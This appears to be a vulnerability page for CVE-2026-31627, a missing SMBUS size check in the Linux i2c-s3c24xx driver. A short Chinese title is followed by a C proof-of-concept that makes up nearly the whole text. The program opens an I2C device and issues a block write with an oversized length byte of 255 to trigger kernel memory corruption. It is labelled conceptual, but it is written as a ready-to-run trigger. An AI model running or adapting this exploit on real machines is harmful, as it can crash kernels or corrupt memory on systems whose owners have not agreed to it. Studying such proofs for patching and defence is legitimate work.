CVE-2026-31627 Linux内核s3c24xx驱动SMBUS消息越界漏洞

/* * PoC for CVE-2026-31627: Linux Kernel i2c-s3c24xx SMBUS Size Check Missing * This is a conceptual PoC demonstrating how to trigger the vulnerability. * It requires a system with the vulnerable i2c-s3c24xx driver. */ #include <stdio.h> #include <fcntl.h> #include <linux/i2c-dev.h> #include <linux/i2c.h> #include <sys/ioctl.h> #include <unistd.h> #define I2C_SMBUS_BLOCK_MAX 32 int main() { int file; int adapter_nr = 1; /* Replace with the actual I2C bus number */ char filename[20]; __u8 buf[128]; struct i2c_smbus_ioctl_data args; union i2c_smbus_data data; snprintf(filename, 19, "/dev/i2c-%d", adapter_nr); file = open(filename, O_RDWR); if (file < 0) { perror("Failed to open i2c bus"); return 1; } // Set a slave address (replace with a valid address on the bus) if (ioctl(file, I2C_SLAVE, 0x50) < 0) { perror("Failed to set slave address"); close(file); return 1; } // Prepare malicious payload // The first byte is the length. We set it to a value > I2C_SMBUS_BLOCK_MAX // to trigger the missing size check vulnerability. memset(data.block, 0x41, sizeof(data.block)); data.block[0] = 0xFF; // Malicious size: 255, exceeding I2C_SMBUS_BLOCK_MAX (32) args.read_write = I2C_SMBUS_WRITE; args.command = 0x00; args.size = I2C_SMBUS_BLOCK_DATA; args.data = &data; printf("Sending malicious SMBUS block write with size %d...\n", data.block[0]); // This ioctl triggers the vulnerable code path if (ioctl(file, I2C_SMBUS, &args) < 0) { perror("Ioctl failed (device might not support this or error occurred)"); } else { printf("Ioctl succeeded. If vulnerable, kernel memory corruption may have occurred.\n"); } close(file); return 0; }